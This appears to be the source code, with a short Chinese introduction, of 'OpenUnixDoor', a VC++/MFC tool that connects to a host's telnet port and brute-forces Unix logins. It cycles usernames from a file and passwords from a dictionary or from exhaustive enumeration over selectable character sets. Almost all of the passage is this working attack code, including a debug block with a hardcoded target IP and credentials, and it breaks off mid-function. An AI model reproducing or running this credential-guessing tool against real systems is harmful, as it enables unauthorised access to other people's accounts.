下面给出部分程序的源代码（用… …略去了VC++自动生成的代码）： ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// OpenUnixDoorDlg.h : header file/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////**OpenUnixDoor  Developer: DING Xiaoping*Send comments and/or bug reports to: northsouth@163.com*/ #include <Afxmt.h>    //add for Cevent //通信原语const unsigned char IAC_IS   = '0';const unsigned char IAC_SEND  = '1';const unsigned char IAC_INFO  = '2';const unsigned char IAC_VAR  = '0';const unsigned char IAC_VALUE  = '1';const unsigned char IAC_ESC     = '2';const unsigned char IAC_USERVAR = '3';const unsigned char IAC_SE   = 240;const unsigned char IAC_NOP  = 241;const unsigned char IAC_DataMark = 242;const unsigned char IAC_BRK  = 243;const unsigned char IAC_IP   = 244;const unsigned char IAC_AO  = 245;const unsigned char IAC_AYT  = 246;const unsigned char IAC_EC   = 247;const unsigned char IAC_EL   = 248;const unsigned char IAC_GA  = 249;const unsigned char IAC_SB   = 250;const unsigned char IAC_WILL   = 251;const unsigned char IAC_WONT   = 252;const unsigned char IAC_DO   = 253;const unsigned char IAC_DONT    = 254;const unsigned char IAC_IAC   = 255;//#define MAX_BUFFER  1024#define MAX_LINELENGTH 100#define SETPRATE " \t\n\r"//// COpenUnixDoorDlg dialogclass CClientSocket;class COpenUnixDoorDlg : public CDialog{// Constructionpublic: void InitDlg();///////////////////////////for NVT COpenUnixDoorDlg(CWnd* pParent = NULL);  // standard constructor BOOL ReceiveData(CClientSocket *pClSt);   //Receive data for server BOOL SendData(CString strSend);     //Send data to server BOOL ProcessOption();      //Process option. int  ProcessLine(unsigned char *cBuffer,int iRecv,int& iProcess); void ArrangeReply(CString strOption); void RespondToOptions(); int  Find(CString str, char ch); void ReConnect();//////////////////////////for logon BOOL Logon();       //logon   unix BOOL GetUserInput(); BOOL GetPassChar(CString strSelect); BOOL RepairSocket(); void CloseSocket(); void LockView();/////////////////////////for NVT  unsigned char cBuffer[MAX_BUFFER];   //copy data from socket CString strRecvData;      //receive's data CString strSendData;      // for send  CString strDisplay;      // for display CStringList m_ListOptions;     // for option BOOL    bNegotiating;       BOOL    bOptionsSent; CString m_strResp;///////////////////////for password and user CString strHostName;      //host CString strPassDir;      //密码文件路径 CString strUserDir;      //用户名文件路径 CString strPassCount;      //密码字符数 int     iAlreadyPassC; CString strPassChar;       CString strUserName; int     iCheckUser;         //IDC_CHECK_USER BOOL    bUserFinished;    //TRUE:FINISHED,FAILED:NO FINISHED; BOOL    bPassFinished;    //TRUE:FINISHED,FAILED:NO FINISHED; BOOL    bIsStop;           //TRUE:YES;///////////////////////for password and user // Dialog Data //{{AFX_DATA(COpenUnixDoorDlg) enum { IDD = IDD_OPENUNIXDOOR_DIALOG }; CSpinButtonCtrl m_SpinPass; CComboBox  m_ComPass; CButton   m_CheckUser; int    m_iPassCount; //}}AFX_DATA  //{{AFX_VIRTUAL(COpenUnixDoorDlg) protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support //}}AFX_VIRTUAL // Implementationprotected: HICON m_hIcon; CClientSocket *pSocket; // Generated message map functions //{{AFX_MSG(COpenUnixDoorDlg) virtual BOOL OnInitDialog(); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); afx_msg void OnBtBegin(); afx_msg void OnBtExit(); afx_msg void OnBtUserdir(); afx_msg void OnCheckUser(); afx_msg void OnBtPassdir(); afx_msg void OnSelendokComboPass(); afx_msg void OnBtStop(); afx_msg void OnBtHelp(); //}}AFX_MSG DECLARE_MESSAGE_MAP()}; /////////////////////////////////////////////////////////////////////////////// CHelpDlg dialog class CHelpDlg : public CDialog{// Constructionpublic: CHelpDlg(CWnd* pParent = NULL);   // standard constructor // Dialog Data //{{AFX_DATA(CHelpDlg) enum { IDD = IDD_DIALOG_HELP }; CEdit m_Edit_HelpCtr; //}}AFX_DATA  // Overrides // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CHelpDlg) public: virtual int DoModal(); protected: virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support //}}AFX_VIRTUAL // Implementationprotected:  // Generated message map functions //{{AFX_MSG(CHelpDlg) virtual BOOL OnInitDialog(); afx_msg void OnBtMypro(); //}}AFX_MSG DECLARE_MESSAGE_MAP()};//{{AFX_INSERT_LOCATION}}   ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// OpenUnixDoorDlg.cpp /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////**OpenUnixDoor  Developer: DING Xiaoping*Send comments and/or bug reports to: northsouth@163.com*/ #include "stdafx.h"#include "OpenUnixDoor.h"#include "OpenUnixDoorDlg.h"#include "ClientSocket.h" //this for debug#define DXPDEBUG 1   //调试设置#if DXPDEBUG FILE *fp=NULL;    //调试输出文件#endif //定义同步及临界资源 CEvent gEventNextPass;   //取下一个密码，为实现同步引进  CEvent gEventPassOk;   //已取得密码，为实现同步引进  CEvent gEventNextUser;   //取下一个用户名，为实现同步引进  CEvent gEventUserOk;   //已取得用户名，为实现同步引进  CEvent gEventDisConncet; CString strCurPass;   //当前密码 CString strCurUser;   //当前用户名//定义线程 CWinThread *pUserThread     = NULL,   //枚举用户名线程      *pPassWordThread = NULL,  //枚举用户密码线程      *pLogonThread    = NULL;  //登录线程 UINT UserThread(COpenUnixDoorDlg *pDlg); UINT PassWordThread(COpenUnixDoorDlg *pDlg); UINT PassWordThreadF(COpenUnixDoorDlg *pDlg); UINT LogonThread(COpenUnixDoorDlg *pDlg);/////////////////////////////////////////////////////////////////////////////… …/////////////////////////////////////////////////////////////////////////////// COpenUnixDoorDlg dialog COpenUnixDoorDlg::COpenUnixDoorDlg(CWnd* pParent /*=NULL*/) : CDialog(COpenUnixDoorDlg::IDD, pParent){ //{{AFX_DATA_INIT(COpenUnixDoorDlg) m_iPassCount = 1; //}}AFX_DATA_INIT m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);} void COpenUnixDoorDlg::DoDataExchange(CDataExchange* pDX){ CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(COpenUnixDoorDlg) DDX_Control(pDX, IDC_SPIN_PASS, m_SpinPass); DDX_Control(pDX, IDC_COMBO_PASS, m_ComPass); DDX_Control(pDX, IDC_CHECK_USER, m_CheckUser); DDX_Text(pDX, IDC_ET_PASSCOUNT, m_iPassCount); DDV_MinMaxInt(pDX, m_iPassCount, 1, 12); //}}AFX_DATA_MAP} BEGIN_MESSAGE_MAP(COpenUnixDoorDlg, CDialog)… …END_MESSAGE_MAP() /////////////////////////////////////////////////////////////////////////////// COpenUnixDoorDlg message handlers BOOL COpenUnixDoorDlg::OnInitDialog(){… … InitDlg(); return TRUE;  // return TRUE  unless you set the focus to a control}void COpenUnixDoorDlg::InitDlg(){ CString s1;  GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE); GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE); GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE); GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);  s1.LoadString(IDS_PASS_ALLNUMBER);   //所有数字字符； m_ComPass.AddString(s1.operator LPCTSTR());//0 m_ComPass.SetCurSel(0); s1.LoadString(IDS_PASS_ZIDINGYI);     //自定义字符集； m_ComPass.AddString(s1.operator LPCTSTR());//1 s1.LoadString(IDS_PASS_ZIDIAN);      //字典； m_ComPass.AddString(s1.operator LPCTSTR());//2 s1.LoadString(IDS_PASS_ALLENLOW);    //所有小写英文字符； m_ComPass.AddString(s1.operator LPCTSTR());//3 s1.LoadString(IDS_PASS_ALLENUP);     //所有大写英文字符; m_ComPass.AddString(s1.operator LPCTSTR());//4 s1.LoadString(IDS_PASS_NUMANDLOW);   //数字和英文小写混合； m_ComPass.AddString(s1.operator LPCTSTR());//5 s1.LoadString(IDS_PASS_NUMANDLOWUP);  //数字和英文大小写混合 m_ComPass.AddString(s1.operator LPCTSTR());//6 s1.LoadString(IDS_PASS_ALL);     //所有键盘可输入字符； m_ComPass.AddString(s1.operator LPCTSTR());//7  m_SpinPass.SetBuddy(GetDlgItem(IDC_ET_PASSCOUNT)); m_SpinPass.SetRange(1,12); iAlreadyPassC=0; bIsStop=FALSE; CTime  t=CTime::GetCurrentTime(); s1=t.Format("%H:%M:%S"); SetDlgItemText(IDC_STC_BEGINTIME,s1); pSocket=NULL; #if DXPDEBUG SetDlgItemText(IDC_ET_HOSTNAME,"192.168.42.63"); SetDlgItemText(IDC_ET_USERNAME,"ods"); SetDlgItemText(IDC_ET_PASSFLDIR,"dos"); SetDlgItemInt(IDC_ET_PASSCOUNT,3,FALSE);#endif}void COpenUnixDoorDlg::OnSysCommand(UINT nID, LPARAM lParam){ if ((nID & 0xFFF0) == IDM_ABOUTBOX) {  CAboutDlg dlgAbout;  dlgAbout.DoModal(); } else {  CDialog::OnSysCommand(nID, lParam); }} void COpenUnixDoorDlg::OnPaint() {  … …} HCURSOR COpenUnixDoorDlg::OnQueryDragIcon(){ return (HCURSOR) m_hIcon;} void COpenUnixDoorDlg::OnBtBegin() {#if DXPDEBUG fp=fopen("dxpdebug.txt","w"); fprintf(fp,"%s is ip addr.",strHostName.operator LPCTSTR());#endif  CString s1,s2; if( ! GetUserInput() )  return;  //建立用户名线程,枚举用户名线程 bUserFinished = TRUE ; if( iCheckUser ){  pUserThread = AfxBeginThread((AFX_THREADPROC)UserThread,       (LPVOID)this, THREAD_PRIORITY_NORMAL);  if( pUserThread == NULL ){    s1.LoadString(IDS_THREADERRO);   s2.LoadString(IDS_MESSAGE_CAPTION);   MessageBox(s1,s2);   return ;  }  pUserThread->m_bAutoDelete = TRUE;  bUserFinished = FALSE; }  //建立密码线程,枚举用户密码线程 bPassFinished=TRUE; s1.LoadString(IDS_PASS_ZIDIAN); m_ComPass.GetWindowText(s2); if( s1 == s2){   pPassWordThread = AfxBeginThread((AFX_THREADPROC)PassWordThreadF,        (LPVOID)this, THREAD_PRIORITY_NORMAL); }else{   GetPassChar( s2 );  pPassWordThread = AfxBeginThread((AFX_THREADPROC)PassWordThread,        (LPVOID)this, THREAD_PRIORITY_NORMAL); } if( pPassWordThread == NULL ) {  s1.LoadString(IDS_THREADERRO);  s2.LoadString(IDS_MESSAGE_CAPTION);  MessageBox(s1,s2);  return ; } pPassWordThread->m_bAutoDelete=FALSE; bPassFinished=FALSE;  //建立登录线程 RepairSocket(); LockView();  //界面控制线程 } BOOL COpenUnixDoorDlg::ReceiveData(CClientSocket *pClSt){  int iRecv,iProc; iProc = 0; iRecv = pClSt->Receive(cBuffer,MAX_BUFFER); if(SOCKET_ERROR != iRecv) {  ProcessLine(cBuffer,iRecv,iProc);   //处理接收的数据  ProcessOption();      //处理接收数据中的协议数据  Logon();       //完成尝试登录 } strRecvData.Empty(); strDisplay.Empty(); return 1;} BOOL COpenUnixDoorDlg::SendData(CString strSend){ //向服务器发送数据 pSocket->Send(strSend,strSend.GetLength()); return 1;} BOOL COpenUnixDoorDlg::ProcessOption(){ //处理协议数据  CString m_strTemp; CString m_strOption; unsigned char ch; int ndx; int ldx; BOOL bScanDone = FALSE;  m_strTemp = strRecvData;  while( !m_strTemp.IsEmpty() && bScanDone != TRUE) {  ndx = m_strTemp.Find(IAC_IAC);  if(ndx != -1)  {   strDisplay += m_strTemp.Left( ndx );   ch = m_strTemp.GetAt( ndx + 1 );//////////////////////////////////////////////#if DXPDEBUG  switch(ch)  {   case IAC_NOP:    fprintf(fp, "got a DataMark\r\n");    break;   case IAC_DataMark:    fprintf(fp, "got a DataMark\r\n");    break;   case IAC_BRK:    fprintf(fp, "got a BRK\r\n");    break;   case IAC_IP:    fprintf(fp, "got a IP\r\n");    break;   case IAC_AO:    fprintf(fp, "got a AO\r\n");    break;   case IAC_AYT:    fprintf(fp, "got a AYT\r\n");    break;   case IAC_EC:    fprintf(fp, "got a EC\r\n");    break;   case IAC_EL:    fprintf(fp, "got a EL\r\n");    break;   case IAC_GA:    fprintf(fp, "got a GA\r\n");    break;   case IAC_SB:    fprintf(fp, "got a IAC_SB\r\n");    break;   case IAC_IAC:    fprintf(fp, "got a IAC\r\n");    break;   default:    fprintf(fp, "%s got unknown command (%d)\r\n",strDisplay.operator LPCTSTR ());  }#endif//////////////////////////////////////////////////////////////////      switch(ch)   {   case IAC_DO:   case IAC_DONT:   case IAC_WILL:   case IAC_WONT:    m_strOption  = m_strTemp.Mid(ndx, 3);#if DXPDEBUG  fprintf(fp, "WONT:%s\r\n",m_strOption.operator LPCTSTR ());#endif    m_strTemp  = m_strTemp.Mid(ndx + 3);    strDisplay= m_strTemp.Left(ndx);    m_ListOptions.AddTail(m_strOption);    break;   case IAC_IAC:    strDisplay = m_strTemp.Left(ndx);    m_strTemp  = m_strTemp.Mid(ndx + 1);#if DXPDEBUG fprintf(fp, "IAC: Option\r\n",m_strTemp.operator LPCTSTR ());#endif    break;   case IAC_SB:    strDisplay = m_strTemp.Left(ndx);    ldx = Find(m_strTemp, IAC_SE);    m_strOption  = m_strTemp.Mid(ndx, ldx);#if DXPDEBUG fprintf(fp, "SB:%s\r\n",m_strOption.operator LPCTSTR ());#endif    m_ListOptions.AddTail(m_strOption);    m_strTemp  = m_strTemp.Mid(ldx);   // AfxMessageBox(m_strOption,MB_OK);    break;   default:    bScanDone = TRUE;   }  }  else  {   strDisplay = m_strTemp;#if DXPDEBUG  fprintf(fp, "normaltext:%s\r\n",m_strTemp.operator LPCTSTR ());#endif  // AfxMessageBox(m_strNormalText,MB_OK);   bScanDone = TRUE;  } }   RespondToOptions();  return 1;} int COpenUnixDoorDlg::ProcessLine(unsigned char *cBuffer,int iRecv,int& iProcess){ BOOL bLine = FALSE; unsigned char ch;  while ( bLine == FALSE  &&  iProcess < iRecv ) {   ch= cBuffer[iProcess];  //Window  switch( ch )  {  case '\r': // ignore   strRecvData += "\r\n"; //"CR";   break;  case '\n': // end-of-line   break;  default:   // other....   strRecvData += ch;   break;  }   iProcess ++;   if (iProcess == iRecv)  {   bLine = TRUE;  } } return bLine;} void COpenUnixDoorDlg::RespondToOptions(){ CString strOption;  while(!m_ListOptions.IsEmpty()) {  strOption = m_ListOptions.RemoveHead();   ArrangeReply(strOption); }  SendData(strSendData); m_strResp.Empty();} void COpenUnixDoorDlg::ArrangeReply(CString strOption){  unsigned char Verb; unsigned char Option; unsigned char Modifier; unsigned char ch; BOOL bDefined = FALSE;  if(strOption.GetLength() < 3) return;  Verb = strOption.GetAt(1); Option = strOption.GetAt(2);  switch(Option) { case 1: // Echo case 3: // Suppress Go-Ahead  bDefined = TRUE;  break; }  m_strResp += IAC_IAC;  if(bDefined == TRUE) {  switch(Verb)  {  case IAC_DO:   ch = IAC_WILL;   m_strResp += ch;   m_strResp += Option;#if DXPDEBUG fprintf(fp, "DO: ch:%d Option:%d\r\n",ch,Option);#endif   break;  case IAC_DONT:   ch = IAC_WONT;   m_strResp += ch;   m_strResp += Option;#if DXPDEBUG fprintf(fp, "DONT: ch:%d Option:%d\r\n",ch,Option);#endif   break;  case IAC_WILL:   ch = IAC_DO;   m_strResp += ch;   m_strResp += Option;#if DXPDEBUG fprintf(fp, "WILL: ch:%d Option:%d\r\n",ch,Option);#endif   break;  case IAC_WONT:   ch = IAC_DONT;   m_strResp += ch;   m_strResp += Option;#if DXPDEBUG fprintf(fp, "WONT: ch:%d Option:%d\r\n",ch,Option);#endif   break;  case IAC_SB:   Modifier = strOption.GetAt(3);   if(Modifier == IAC_SEND)   {    ch = IAC_SB;    m_strResp += ch;    m_strResp += Option;    m_strResp += IAC_IS;    m_strResp += IAC_IAC;    m_strResp += IAC_SE;   }#if DXPDEBUG fprintf(fp, "SB: ch:%d Option:%d \r\n",ch,Option);#endif   break;  } }  else {  switch(Verb)  {  case IAC_DO:   ch = IAC_WONT;   m_strResp += ch;   m_strResp += Option;#if DXPDEBUG fprintf(fp, "DO: ch:%d Option:%d\r\n",ch,Option);#endif   break;  case IAC_DONT:   ch = IAC_WONT;   m_strResp += ch;   m_strResp += Option;#if DXPDEBUG fprintf(fp, "DONT: ch:%d Option:%d\r\n",ch,Option);#endif   break;  case IAC_WILL:   ch = IAC_DONT;   m_strResp += ch;   m_strResp += Option;#if DXPDEBUG fprintf(fp, "WILL: ch:%d Option:%d\r\n",ch,Option);#endif   break;  case IAC_WONT:   ch = IAC_DONT;   m_strResp += ch;   m_strResp += Option;#if DXPDEBUG fprintf(fp, "WONT: ch:%d Option:%d\r\n",ch,Option);#endif   break;  } }} int COpenUnixDoorDlg::Find(CString str, char ch){ char* data = str.GetBuffer(0); int len = str.GetLength(); int i = 0; for(i = 0; i < len; i++){  if(data[i] == ch)   break; } str.ReleaseBuffer(); return i;} void COpenUnixDoorDlg::OnBtExit() {#if DXPDEBUG if(fp!=NULL)fclose(fp);#endif  //删除所有线程  … … if(pSocket != NULL)  delete pSocket; pSocket = NULL;  CDialog::OnOK();} UINT UserThread(COpenUnixDoorDlg *pDlg){  FILE *fUser;  char cUser[MAX_LINELENGTH];  char *token;  CString s1,s2;  CString strDir = pDlg->strUserDir;   strDir.Replace("\\","\\\\");  //strDir保存用户名的路径及文件名    if( NULL  ==  (fUser  =  fopen(strDir.operator LPCTSTR(),"r+")))  {    s1.LoadString(IDS_OPENFILEERRO);   s2.LoadString(IDS_MESSAGE_CAPTION);   strDir.Format(s1,strDir.operator LPCTSTR());    MessageBox(GetActiveWindow(),strDir,s2,0);    if(fUser != NULL)    fclose(fUser);    pDlg->bUserFinished = TRUE;   return 0;   }    while( ! feof(  fUser  ) )   {    if( NULL  ==  fgets( cUser,MAX_LINELENGTH,fUser ))     {     fclose(  fUser  );     pDlg->bUserFinished  =  TRUE;    return 0;    }    token = strtok( cUser,SETPRATE );// #define SETPRATE " \t\n\r"      do    {     WaitForSingleObject(gEventNextUser,INFINITE);            // 等待“新用户名”事件     gEventNextUser.ResetEvent();     //复位。     strCurUser = token;       //改变当前用户名。     gEventUserOk.SetEvent();          //发送“用户名完成”事件    }while((token = strtok(NULL,SETPRATE))  !=  NULL);   }//while end   pDlg->bUserFinished = TRUE;  gEventUserOk.SetEvent();  return 0; } UINT PassWordThread(COpenUnixDoorDlg *pDlg){/******* strPass-> | a | b | c | d |**       \/    |   **       /\   | **  iPPos   | 1 | 0 | 2 |****  例如：str="abcd",iCount=3,当iPPos=102 时表示字串"bac"***/ int j; int iCount=pDlg->m_iPassCount; int k=iCount-1;  CString strPass=pDlg->strPassChar; int iPCount=strPass.GetLength() ;  CString strTemp; int iPPos[MAX_LINELENGTH]; for(j = 0;( j<MAX_LINELENGTH ); j++ )  iPPos[j] = 0;  do{  while( iPPos[0] < iPCount )  {   while( iPPos[k] < iPCount ){    strTemp.Empty();    for(j = 0;j < iCount; j++ ){     strTemp.Insert(j,strPass.GetAt(iPPos[j]));    }    WaitForSingleObject(gEventNextPass,INFINITE);        // 等待“新密码”事件     gEventNextPass.ResetEvent();  //复位。     strCurPass=strTemp;    //改变当前密码。     gEventPassOk.SetEvent();   //送密码完成事件 #if DXPDEBUG   fprintf(fp, "%s\r\n",strCurPass.operator LPCTSTR ());#endif      iPPos[k]++;   }     iPPos[k] = 0; //末位清零   for(j = iCount-2;j >= 0;j--)   {    if(( iPPos[j]+=1 )==iPCount && j != 0 )     iPPos[j] = 0;    else break;    //完成iCount进制加法运算   }  }//while  if(!pDlg->bUserFinished){   gEventNextUser.SetEvent();      //发送“新用户名”事件    WaitForSingleObject(gEventUserOk,INFINITE);  //等待“用户名完成”事件    gEventUserOk.ResetEvent();      //复位。   } }while(!pDlg->bUserFinished);  pDlg->bPassFinished=TRUE; gEventPassOk.SetEvent(); return 0;} UINT PassWordThreadF(COpenUnixDoorDlg *pDlg){  FILE *fPass;  char cPass[MAX_LINELENGTH];  char *token;  CString s1,s2;  CString strFile=pDlg->strPassDir;   strFile.Replace("\\","\\\\");  //strFile保存密码文件的路径及文件名   if(NULL == ( fPass = fopen(strFile.operator LPCTSTR(),"r+")) )  {    s1.LoadString(IDS_OPENFILEERRO);   s2.LoadString(IDS_MESSAGE_CAPTION);   strFile.Format(s1,strFile.operator LPCTSTR());    MessageBox(GetActiveWindow(),strFile,s2,0);       if( fPass != NULL )     fclose( fPass );    pDlg->bPassFinished=TRUE;   return 0;   }   do{  while(!feof(fPass))   {    if(NULL==fgets(cPass,MAX_LINELENGTH,fPass))     {     fclose(fPass);     break;    }    token=strtok(cPass,SETPRATE);// #define SETPRATE " \t\n\r"      do    {     WaitForSingleObject(gEventNextPass,INFINITE);             // 等待“新用户密码”事件     gEventNextPass.ResetEvent();   //复位。     strCurPass=token;     //改变当前用户密码。     gEventPassOk.SetEvent();    //发送“用户密码完成”事件    }while((token=strtok(NULL,SETPRATE))!=NULL);   }//while  if(!pDlg->bUserFinished){   gEventNextUser.SetEvent();       //发送“新用户名”事件    WaitForSingleObject(gEventUserOk,INFINITE);  //等待“用户名完成”事件    gEventUserOk.ResetEvent();       //复位。   } }while(!pDlg->bUserFinished);  pDlg->bPassFinished=TRUE; gEventPassOk.SetEvent(); return 0; } UINT LogonThread(COpenUnixDoorDlg *pDlg){ pDlg->ReConnect(); return 0;} void COpenUnixDoorDlg::ReConnect(){  BOOL bOK; if(pSocket != NULL)delete pSocket; pSocket=new CClientSocket(this) ;  if( pSocket != NULL){  bOK=pSocket->Create();  if(bOK == TRUE){   bOK = pSocket->AsyncSelect(FD_READ | FD_WRITE| FD_CLOSE | FD_CONNECT | FD_OOB);   bOK = pSocket->Connect(strHostName,23);   }else{   delete pSocket;  } }else{  AfxMessageBox("Could not create new socket",MB_OK); } } BOOL COpenUnixDoorDlg::GetUserInput(){ CString s1; CString s2; s2.LoadString(IDS_MESSAGE_CAPTION);  //check hostname GetDlgItemText(IDC_ET_HOSTNAME,strHostName); if(strHostName.IsEmpty()){  s1.LoadString(IDS_MESSAGE1);  MessageBox(s1,s2);  return FALSE; }  //check user name or user dir if(m_CheckUser.GetCheck()){  GetDlgItemText(IDC_ET_USERDIR,strUserDir);  if(strUserDir.IsEmpty()){   s1.LoadString(IDS_MESSAGE2);   MessageBox(s1,s2);   return FALSE;  } }else{  GetDlgItemText(IDC_ET_USERNAME,strCurUser);  if(strCurUser.IsEmpty()){   s1.LoadString(IDS_MESSAGE2);   MessageBox(s1,s2);   return FALSE;  } } iCheckUser=m_CheckUser.GetCheck();  // m_iPassCount = GetDlgItemInt(IDC_ET_PASSCOUNT);  //check password  GetDlgItemText(IDC_ET_PASSFLDIR,strPassDir); return TRUE;} void COpenUnixDoorDlg::OnBtUserdir() { CFileDialog  m_dlg(IDS_INPUTDIR);  if( m_dlg.DoModal() ){   CString str = m_dlg.GetPathName();  SetDlgItemText(IDC_ET_USERDIR,str.operator LPCTSTR());  }} void COpenUnixDoorDlg::OnCheckUser() {  if(m_CheckUser.GetCheck()) {   GetDlgItem(IDC_ET_USERDIR)->EnableWindow(TRUE);  GetDlgItem(IDC_BT_USERDIR)->EnableWindow(TRUE);  GetDlgItem(IDC_ET_USERNAME)->EnableWindow(FALSE);  }else{   GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);  GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);  GetDlgItem(IDC_ET_USERNAME)->EnableWindow(TRUE);  }} void COpenUnixDoorDlg::OnBtPassdir() { CFileDialog  m_dlg(IDS_INPUTDIR);  if( m_dlg.DoModal() ){   CString str=m_dlg.GetPathName();  SetDlgItemText(IDC_ET_PASSFLDIR,str.operator LPCTSTR());  }} void COpenUnixDoorDlg::OnSelendokComboPass() { CString s1,s2,s3; s1.LoadString(IDS_PASS_ZIDIAN); s2.LoadString(IDS_PASS_ZIDINGYI);  m_ComPass.GetWindowText(s3);  if(s1==s3 || s2==s3){   GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(TRUE);  if(s2 == s3){   GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);  }else{   GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(TRUE);  }  }else{   GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);  GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);  }} BOOL COpenUnixDoorDlg::GetPassChar(CString strSelect){ CString s1;  s1.LoadString(IDS_PASS_ZIDINGYI); if(strSelect == s1){  GetDlgItemText(IDC_ET_PASSFLDIR,strPassChar) ;return TRUE; }  s1.LoadString(IDS_PASS_ALLNUMBER); if(strSelect==s1){  strPassChar="0123456789";return TRUE; }  s1.LoadString(IDS_PASS_ALLENLOW); if(strSelect==s1){  strPassChar="abcdefghigklmnopqrstuvwxyz"; return TRUE; }  s1.LoadString(IDS_PASS_ALLENUP); if(strSelect==s1){  strPassChar="ABCDEFGHIGKLMNOPQRSTUVWXYZ"; return TRUE; }  s1.LoadString(IDS_PASS_NUMANDLOW); if(strSelect == s1){  strPassChar = "0123456789abcdefghigklmnopqrstuvwxyz"; return TRUE; }  s1.LoadString(IDS_PASS_NUMANDLOWUP); if(strSelect == s1){  strPassChar = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";  return TRUE; }  s1.LoadString(IDS_PASS_ALL); if(strSelect == s1){  strPassChar = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ`~!@#$%^&*()-=\\_+|[]{};':\",./<>?";  return TRUE; } return FALSE;} BOOL COpenUnixDoorDlg::RepairSocket(){ BOOL bOK;  pSocket = new CClientSocket(this) ; if(pSocket != NULL){  bOK = pSocket->Create();  if(bOK == TRUE){   pSocket->AsyncSelect(FD_READ | FD_WRITE| FD_CLOSE | FD_CONNECT | FD_OOB);   pSocket->Connect(strHostName,23);   }else{   delete pSocket;  } }else{  AfxMessageBox("Could not create new socket",MB_OK); } return TRUE;} void COpenUnixDoorDlg::CloseSocket(){ //gEventDisConncet.SetEvent(); CString strTemp; strTemp.LoadString(IDS_YOUAREFAILED); AfxMessageBox(strTemp); } void COpenUnixDoorDlg::OnBtStop() { static int i=0; CString str;  if(i == 0) {  //MUST STOP SOKET  bIsStop=TRUE;  pSocket->OnClose(0);   if(pUserThread != NULL)   pUserThread->SuspendThread();      //枚举用户名线程  if(pPassWordThread != NULL)   pPassWordThread->SuspendThread();     //枚举用户密码线程  //if(pLogonThread!=NULL)pLogonThread->SuspendThread();   //登录线程   str.LoadString(IDS_REBEGIN);  SetDlgItemText(IDC_BT_STOP,str);  i=1; }else{  bIsStop = FALSE;  gEventDisConncet.SetEvent();   if(pUserThread != NULL)   pUserThread->ResumeThread();    if(pPassWordThread != NULL)   pPassWordThread->ResumeThread();   //if(pLogonThread!=NULL)pLogonThread->ResumeThread();  str.LoadString(IDS_STOP);  SetDlgItemText(IDC_BT_STOP,str);  i = 0; }} void CAboutDlg::OnOK() { CDialog::OnOK();} void COpenUnixDoorDlg::OnBtHelp() { CHelpDlg  dlg; dlg.DoModal();} void COpenUnixDoorDlg::LockView(){ GetDlgItem(IDC_ET_HOSTNAME)->EnableWindow(FALSE);  GetDlgItem(IDC_ET_USERNAME)->EnableWindow(FALSE); GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE); GetDlgItem(IDC_CHECK_USER)->EnableWindow(FALSE); GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);  GetDlgItem(IDC_COMBO_PASS)->EnableWindow(FALSE); GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE); GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE); GetDlgItem(IDC_ET_PASSCOUNT)->EnableWindow(FALSE); GetDlgItem(IDC_SPIN_PASS)->EnableWindow(FALSE);  GetDlgItem(IDC_BT_BEGIN)->EnableWindow(FALSE); }/////////////////////////////////////////////////////////////////////////////// CHelpDlg dialog… …/////////////////////////////////////////////////////////////////////////////// CHelpDlg message handlers int CHelpDlg::DoModal() { return CDialog::DoModal();} BOOL CHelpDlg::OnInitDialog() { CDialog::OnInitDialog();  CString strHelp; strHelp.LoadString(IDS_HELP); m_Edit_HelpCtr.ReplaceSel(strHelp.operator LPCTSTR()); return TRUE;  // return TRUE unless you set the focus to a control} void CHelpDlg::OnBtMypro() { CAboutDlg dlg; dlg.DoModal();}   /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ClientSocket.h : header file///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////**OpenUnixDoor  Developer: DING Xiaoping*Send comments and/or bug reports to: northsouth@163.com*/ class COpenUnixDoorDlg;class CClientSocket : public CAsyncSocket{… …public: CClientSocket(COpenUnixDoorDlg *pDlg); virtual ~CClientSocket(); // Overridespublic: COpenUnixDoorDlg *lpDlg; // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CClientSocket) public: virtual void OnClose(int nErrorCode); virtual void OnOutOfBandData(int nErrorCode); virtual void OnReceive(int nErrorCode); virtual void OnSend(int nErrorCode); //}}AFX_VIRTUAL  // Generated message map functions //{{AFX_MSG(CClientSocket)  // NOTE - the ClassWizard will add and remove member functions here. //}}AFX_MSG // Implementationprotected:};   //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ClientSocket.cpp /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////**OpenUnixDoor  Developer: DING Xiaoping*Send comments and/or bug reports to: northsouth@163.com*/ #include "stdafx.h"#include "OpenUnixDoor.h"#include "ClientSocket.h"#include "OpenUnixDoorDlg.h" CClientSocket::CClientSocket(COpenUnixDoorDlg *pDlg){ lpDlg=pDlg;} void CClientSocket::OnClose(int nErrorCode) { CAsyncSocket::OnClose(nErrorCode); 